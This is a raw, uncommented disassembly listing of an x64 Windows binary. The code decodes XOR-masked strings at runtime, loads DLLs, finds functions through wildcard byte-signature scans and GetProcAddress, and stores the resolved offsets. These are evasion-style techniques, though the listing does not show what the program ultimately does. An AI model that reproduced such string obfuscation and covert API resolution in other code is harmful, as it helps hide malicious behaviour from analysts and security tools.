mov dword [r14 + 0x58], __WSAFDIsSet
jmp 0x14002b856
lea rdx, [rbp + 0x8610]
call fcn.140050080
test rax, rax
jne 0x14002b83e
movabs rax, 0x14053a4438cd4f
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe63334fad48e81b
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1405482b4abf0a
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x9d0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x9e0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x9f0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xa00], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xa10], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xa20], xmm0
movabs rax, 0x1cc3c1d9f1f4662a
mov qword [rbp + 0x8610], rax
movabs rcx, 0x16aadcdda294c240
mov qword [rbp + 0x8618], rcx
xorps xmm2, xmm2
movabs rax, 0x16f3e1e4d1a32e69
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x8610]
pxor xmm1, xmmword [rbp + 0x8630]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x270], xmm1
movaps xmmword [rbp + 0x280], xmm2
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x290], xmm0
movaps xmm1, xmmword [rbp + 0x2a0]
movaps xmmword [rbp + 0x2a0], xmm1
movaps xmm0, xmmword [rbp + 0x2b0]
movaps xmmword [rbp + 0x2b0], xmm0
movaps xmm1, xmmword [rbp + 0x2c0]
movaps xmmword [rbp + 0x2c0], xmm1
movaps xmm0, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0x2d0], xmm0
movaps xmm1, xmmword [rbp + 0x2e0]
movaps xmmword [rbp + 0x2e0], xmm1
movaps xmm0, xmmword [rbp + 0x2f0]
movaps xmmword [rbp + 0x2f0], xmm0
lea r8, [rbp + 0x9d0]
lea rdx, [rbp + 0x270]
jmp 0x14002b68c
mov dword [r14 + 0x50], 0x1b0
mov dword [r14 + 0x54], 0xc0
mov dword [r14 + 0x58], Ordinal_211
sub rax, rdi
add rax, qword [rbp + 0x230]
mov qword [r14], rax
je 0x1400260d4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movabs rax, 0x478110ca767896a
mov qword [rbp + 0x8610], rax
movabs rax, 0x6ff2b359d4735a6c
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6056233fd502fa1f
mov qword [rbp + 0x8630], rax
movabs rax, 0x6ff2b359d4733600
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x14c0]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rcx, [rbp + 0x14c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14002ba95
movabs rax, 0x120e8fba01dd39
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe63d93c13bf9c51
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x120efdd573af7c
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x970], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x980], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x990], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x9a0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x9b0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x9c0], xmm0
movabs rax, 0x1a43722d2a9
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xd9eac94200a59
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1a43d4dbfda
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x410], xmm0
movaps xmm0, xmmword [rbp + 0x420]
movaps xmmword [rbp + 0x420], xmm0
movaps xmm1, xmmword [rbp + 0x430]
movaps xmmword [rbp + 0x430], xmm1
movaps xmm0, xmmword [rbp + 0x440]
movaps xmmword [rbp + 0x440], xmm0
movaps xmm1, xmmword [rbp + 0x450]
movaps xmmword [rbp + 0x450], xmm1
lea r8, [rbp + 0x970]
lea rdx, [rbp + 0x410]
jmp 0x14002b68c
mov dword [rbp + 0x85d0], 0x38ec8348
mov dword [rbp + 0x85d4], 0x44db3345
mov dword [rbp + 0x85d8], 0xcccc1d39
mov dword [rbp + 0x85dc], 0x2e74cccc
mov dword [rbp + 0x85e0], 0x48b4865
mov dword [rbp + 0x85e4], 0xcccccc25
mov dword [rbp + 0x85e8], 0x508b4ccc
mov byte [rbp + 0x85ec], 0x48
mov r8d, Ordinal_30
lea rdx, [rbp + 0x85d0]
mov rcx, rdi
call fcn.140050080
mov rcx, rax
sub rcx, rdi
add rcx, qword [rsp + 0x40]
mov qword [r14 + 0x170], rcx
test rax, rax
jne 0x14002bc65
movabs rax, 0x12ff63c41bd7ee
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6126fd284eaeec
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x12ff11ab69a5ab
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x6d0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x6e0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x6f0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x700], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x710], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x720], xmm0
movabs rax, 0xf319e76f4b218ad
mov qword [rbp + 0x8610], rax
movabs rcx, 0x449ab905ee29257
mov qword [rbp + 0x8618], rcx
xorps xmm2, xmm2
movabs rax, 0xf3bae56c9925ae0
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x8610]
pxor xmm1, xmmword [rbp + 0x8630]
pxor xmm2, xmm0
movaps xmmword [rbp + 0xef0], xmm1
movaps xmmword [rbp + 0xf00], xmm2
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0xf10], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0xf20], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0xf30], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0xf40], xmm1
movaps xmm0, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0xf50], xmm0
movaps xmm1, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0xf60], xmm1
lea r8, [rbp + 0x6d0]
lea rdx, [rbp + 0xef0]
jmp 0x14002b68c
mov dword [rbp + 0x85d0], 0x48ec8348
mov dword [rbp + 0x85d4], 0xcc2444c7
mov dword [rbp + 0x85d8], 0xcccccccc
mov dword [rbp + 0x85dc], 0x83ca8b4c
mov dword [rbp + 0x85e0], 0xcccc2464
mov dword [rbp + 0x85e4], 0x83c18b4c
mov word [rbp + 0x85e8], 0x2464
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, [rbp + 0x85d0]
mov rcx, rdi
call fcn.140050080
mov rcx, rax
sub rcx, rdi
add rcx, qword [rsp + 0x40]
mov qword [r14 + 0x168], rcx
test rax, rax
jne 0x14002be2d
movabs rax, 0x1772b6d6cb0466
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe6217113e28b58f
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1772c4b9b97623
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x730], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x740], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x750], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x760], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x770], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x780], xmm0
movabs rax, 0x1366fb903443f324
mov qword [rbp + 0x8610], rax
movabs rcx, 0x1fa90cf49c50a869
mov qword [rbp + 0x8618], rcx
xorps xmm2, xmm2
movabs rax, 0x136ccbb00963a461
mov qword [rbp + 0x8630], rax
mov qword [rbp + 0x8638], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x8610]
pxor xmm1, xmmword [rbp + 0x8630]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x350], xmm1
movaps xmmword [rbp + 0x360], xmm2
movaps xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x370], xmm0
movaps xmm1, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x380], xmm1
movaps xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x390], xmm0
movaps xmm1, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x3a0], xmm1
movaps xmm0, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3b0], xmm0
movaps xmm1, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x3c0], xmm1
lea r8, [rbp + 0x730]
lea rdx, [rbp + 0x350]
jmp 0x14002b68c
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x104
lea rcx, [rbp + 0x8930]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
mov qword [rbp + 0x85b0], rax
mov qword [rbp + 0x85c0], rax
mov qword [rbp + 0x85c8], 7
mov word [rbp + 0x85b0], ax
lea rax, [rbp + 0x8930]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x14002be83
lea rdx, [rbp + 0x8930]
lea rcx, [rbp + 0x85b0]
call fcn.14005a180
nop
movabs rax, 0x14e939dc4fa7170c
mov qword [rbp + 0x40], rax
movabs rax, 0x7bdc8b26d44c6a3
mov qword [rbp + 0x48], rax
movabs rax, 0x17460d8a7717142d
mov qword [rbp + 0x50], rax
movabs rax, 0x3211701b44e09d1
mov qword [rbp + 0x58], rax
movabs rax, 0x1e9db4e405f29c07
mov qword [rbp + 0x60], rax
movabs rax, 0xe31033ee90f01e5
mov qword [rbp + 0x68], rax
mov qword [rbp + 0x70], r15
movabs rcx, 0xe00000002001aaca
mov qword [rbp + 0x78], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rax, 0x149a39a54ff41750
mov qword [rbp + 0xc0], rax
movabs rax, 0x78ec8df6d21c6d7
mov qword [rbp + 0xc8], rax
movabs rax, 0x172f0dfd774b141f
mov qword [rbp + 0xd0], rax
movabs rax, 0x34a1733b47d09bf
mov qword [rbp + 0xd8], rax
movabs rax, 0x1ef8b49705939c65
mov qword [rbp + 0xe0], rax
movabs rax, 0xe420347e97c01cb
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x8610], xmm0
movdqa xmm1, xmmword [rbp + 0x50]
pxor xmm1, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0x8620], xmm1
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x8630], xmm0
movdqa xmm1, xmmword [rbp + 0x70]
pxor xmm1, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x8640], xmm1
pxor xmm6, xmm2
movdqa xmmword [rbp + 0x8650], xmm6
pxor xmm7, xmm3
movdqa xmmword [rbp + 0x8660], xmm7
pxor xmm8, xmm4
movdqa xmmword [rbp + 0x8670], xmm8
pxor xmm9, xmm5
movdqa xmmword [rbp + 0x8680], xmm9
lea rax, [rbp + 0x3d30]
lea rcx, [rbp + 0x8610]
mov edx, 6
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002c031
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x3d30]
mov rdx, 0xffffffffffffffff
nop
inc rdx
cmp word [rax + rdx*2], 0
jne 0x14002c0a0
mov rcx, qword [rbp + 0x85c0]
mov r8, qword [rbp + 0x85c8]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14002c101
lea rsi, [rcx + rdx]
mov qword [rbp + 0x85c0], rsi
lea rdi, [rbp + 0x85b0]
cmp r8, 8
cmovae rdi, qword [rbp + 0x85b0]
lea rcx, [rdi + rcx*2]
lea r8, [rdx + rdx]
lea rdx, [rbp + 0x3d30]
call sub.VCRUNTIME140.dll_memmove
xor eax, eax
mov word [rdi + rsi*2], ax
mov esi, dword [rsp + 0x30]
jmp 0x14002c11f
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x3d30]
movzx r8d, byte [rsp + 0x38]
lea rcx, [rbp + 0x85b0]
call fcn.140003de0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x7b2cc2e11db26da
mov qword [rbp + 0x8610], rax
movabs rax, 0x7d078c4088ac8db1
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x66d0a71c22b54fad
mov qword [rbp + 0x8630], rax
movabs rax, 0x7d07ff39fb82e8c2
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x50], xmm1
lea rcx, [rbp + 0x8610]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
xor eax, eax
mov qword [rbp + 0x3d0], rax
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x3e0], xmm0
mov byte [rbp + 0x3d0], al
lea rax, [rbp + 0x8610]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002c250
lea rdx, [rbp + 0x8610]
lea rcx, [rbp + 0x3d0]
call fcn.14005a030
nop
lea rcx, [rbp + 0x3d0]
call fcn.140053a00
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x3d0]
call fcn.14000b160
lea rcx, [rbp + 0x85b0]
cmp qword [rbp + 0x85c8], 8
cmovae rcx, qword [rbp + 0x85b0]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
jne 0x14002c3d2
movabs rax, 0x16544a65178232
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xe673b866fb9bc5c
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1654380a65f077
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x790], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x7a0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x7b0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x7c0], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x7d0], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0x7e0], xmm0
movabs rax, 0x1df9e01a8
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xf244b3790
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1df944cc0
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85e0]
pxor xmm0, xmmword [rbp + 0x85d0]
movaps xmmword [rbp + 0x310], xmm0
movaps xmm0, xmmword [rbp + 0x320]
movaps xmmword [rbp + 0x320], xmm0
movaps xmm1, xmmword [rbp + 0x330]
movaps xmmword [rbp + 0x330], xmm1
movaps xmm0, xmmword [rbp + 0x340]
movaps xmmword [rbp + 0x340], xmm0
lea r8, [rbp + 0x790]
lea rdx, [rbp + 0x310]
jmp 0x14002d818
cmp esi, 0x4a65
jbe 0x14002c544
movabs rax, 0xc0f70826c87f029
mov qword [rbp + 0x8610], rax
movabs rax, 0x6e050a9839bd27a5
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6b7c1bb05fe9995e
mov qword [rbp + 0x8630], rax
movabs rax, 0x6e050aeb40ce09c1
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8620], xmm1
lea rcx, [rbp + 0x40]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
xor eax, eax
mov qword [rbp + 0x3f0], rax
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x400], xmm0
mov byte [rbp + 0x3f0], al
lea rax, [rbp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002c500
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x3f0]
call fcn.14005a030
nop
lea rcx, [rbp + 0x3f0]
call fcn.140053a00
mov qword [rbp + 0x30], rax
lea rcx, [rbp + 0x3f0]
call fcn.14000b160
mov rax, qword [rbp + 0x30]
test rax, rax
je 0x14002c544
mov qword [r14 + 0x10], rax
lea eax, [rsi - 0x4a61]
cmp eax, 4
ja 0x14002c69e
movabs rax, 0x1572cee1dc10f349
mov qword [rbp + 0x8610], rax
movabs rax, 0xc9fc7714e43cfc
mov qword [rbp + 0x8618], rax
mov qword [rbp + 0x8620], r15
movabs rcx, 0xe000000020018ce8
mov qword [rbp + 0x8628], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x761cb7929d76922e
mov qword [rbp + 0x8650], rax
movabs rax, 0x65bd9d03479d59b7
mov qword [rbp + 0x8658], rax
mov qword [rbp + 0x8660], r15
mov qword [rbp + 0x8668], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8650]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [rbp + 0x8620]
pxor xmm1, xmmword [rbp + 0x8660]
movdqa xmmword [rbp + 0x50], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x60], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x70], xmm5
lea rax, [rbp + 0x3350]
lea rcx, [rbp + 0x40]
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14002c620
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rdx, [rbp + 0x3350]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, qword [rsp + 0x40]
test rax, rax
je 0x14002c6a3
sub rax, rdi
add rax, rsi
mov qword [r14 + 0x10], rax
jmp 0x14002c6a3
mov rsi, qword [rsp + 0x40]
movabs rax, 0xb6fec9cf8217bf6
mov qword [rbp + 0x8610], rax
movabs rax, 0x6bc299e90d3431c7
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x641c9ee9bb550b91
mov qword [rbp + 0x8630], rax
movabs rax, 0x6bc2fa87744770b5
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8630]
pxor xmm0, xmmword [rbp + 0x8610]
movdqa xmmword [rbp + 0x40], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x50], xmm2
lea rcx, [rbp + 0x2b00]
lea rax, [rbp + 0x40]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0x2b00]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002c7b7
sub rax, rdi
add rax, rsi
mov qword [r14 + 0x18], rax
movabs rax, 0x1cd8c5e61af141d9
mov qword [rbp + 0x85d0], rax
movabs rcx, 0xc22698bbf751e02
mov qword [rbp + 0x85d8], rcx
movabs rax, 0x1cd8bc96799c24b4
mov qword [rbp + 0x85e0], rax
mov qword [rbp + 0x85e8], rcx
movdqa xmm0, xmmword [rbp + 0x85d0]
pxor xmm0, xmmword [rbp + 0x85e0]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10], xmm1
movabs rax, 0x38642198df90e62
mov qword [rbp + 0x8610], rax
movabs rax, 0x61b6fa651bc437a8
mov qword [rbp + 0x8618], rax
xorps xmm2, xmm2
movabs rax, 0x6fe83072fe967a0c
mov qword [rbp + 0x8630], rax
movabs rax, 0x61b6fa657ebc5286
mov qword [rbp + 0x8638], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8610]
pxor xmm0, xmmword [rbp + 0x8630]
movdqa xmmword [rbp + 0x8610], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8620], xmm2
lea rcx, [rbp + 0x2070]
lea rax, [rbp + 0x8610]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
